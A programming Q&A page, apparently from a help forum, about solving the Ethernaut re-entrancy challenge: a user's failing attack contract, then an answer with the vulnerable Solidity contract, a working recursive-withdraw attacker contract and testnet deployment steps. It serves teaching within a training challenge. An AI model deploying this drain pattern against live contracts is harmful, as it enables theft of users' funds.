Search code examples
ethereumsoliditysmartcontracts

reentrancy code not executing due to gas error on remix


I am working through the ethernaut challenge re-entrancy: https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D I think I have hit tunnel vision as I keep getting this error on remix and I really don't know why:

    Gas estimation errored with the following message (see below). The transaction execution will likely fail. Do you want to force sending?
execution reverted

here is the code I have made to attack the contract:

    pragma solidity ^0.8.0;
import "./vic.sol";


contract getether{

    Reentrance public reenter;
    
    constructor(address payable _victim){
        reenter = Reentrance(_victim);
    }

    function start() public {
        reenter.donate{value : 0.001 ether, gas : 4000000}(address(this));
    
    }

    fallback() external payable {
        if(address(reenter).balance != 0){
        reenter.withdraw(0.001 ether);
        }
    }
}

Thanks in advance


Solution

  • Steps

    1. Create in remix vic.sol

    (code from Ethernaut re-entrance level. I only changed math.sol import)

        // SPDX-License-Identifier: MIT
        pragma solidity ^0.8.0;
    
        import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol';
    
        contract Reentrance {
          
          using SafeMath for uint256;
          mapping(address => uint) public balances;
    
          function donate(address _to) public payable {
            balances[_to] = balances[_to].add(msg.value);
          }
    
          function balanceOf(address _who) public view returns (uint balance) {
            return balances[_who];
          }
    
          function withdraw(uint _amount) public {
            if(balances[msg.sender] >= _amount) {
              (bool result,) = msg.sender.call{value:_amount}("");
              if(result) {
                _amount;
              }
              balances[msg.sender] -= _amount;
            }
          }
    
          receive() external payable {}
        }
    

    2. Deploy in Rinkeby vic.sol

    Deploy in Rinkeby vic.sol, using some account (called account 1) from Metamask.

    Another options: deploy contract in Rinkeby, from Ethernaut site, using "Get new instance" button and console (I think that you already know that)

    You could see my deployed contract here. (It was deployed from the Ethernaut site)

    3. Import in remix contract created in 2 (vic.sol)

    Once the transaction from the previous point is finished, take contract's address and import in remix (field "at address").

    4. Send ethers to contract created in 1 (vic.sol)

    With account 1, send 1 ether to contract vic.sol. Use "donate" method and put contract address (created in 1) as "address_to" parameter.

    enter image description here

    5. Create in remix attack.sol

    Important notes:

    • use another account in Metamask (different to account 1)
    • Put in "address_victim" the vic.sol address
      // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
    
      import "./vic.sol";
    
      contract ReentranceAttacker {
          Reentrance public reenter;
          uint256 initialDeposit;
    
          constructor(address payable _victim) {
              reenter = Reentrance(payable(_victim));
          }
    
          function attack() external payable {
              require(msg.value >= 1 ether, "send >= 1 ether");
    
              // first deposit some funds
              initialDeposit = msg.value;
              reenter.donate{value: initialDeposit}(address(this));
    
              // withdraw these funds over and over again because of re-entrancy issue
              callWithdraw();
          }
    
          receive() external payable {
              // re-entrance called by reenter
              callWithdraw();
          }
    
          function callWithdraw() private {
              // this balance correctly updates after withdraw
              uint256 challengeTotalRemainingBalance = address(reenter).balance;
              // are there more tokens to empty?
              bool keepRecursing = challengeTotalRemainingBalance > 0;
    
              if (keepRecursing) {
                  // can only withdraw at most our initial balance per withdraw call
                  uint256 toWithdraw =
                      initialDeposit < challengeTotalRemainingBalance
                          ? initialDeposit
                          : challengeTotalRemainingBalance;
                  reenter.withdraw(toWithdraw);
              }
          }
      }
    

    6. Deploy attack.sol to Rinkeby

    Deploy attack.sol to Rinkeby. See my contract deployed here.

    7. Attack contract

    Put 1 ether in value and press "attack" in deployed contract attack.sol.

    When transaction is finished, you'll see 2.001 ethers in contract (attack.sol) balance and 0 ethers y vic.sol balance.

    attack contract balance: enter image description here

    vic contract balance: enter image description here

    Notes about "2.001 ethers":

    • 0.001 from Ethernaut (when deploy contract with "Get new instance" button, they transfer that value to contract)
    • 1 ether from victim
    • 1 ether from attacker (you)

    And that's all. You could see that contracts works: (submit solution to Ethernaut)

    enter image description here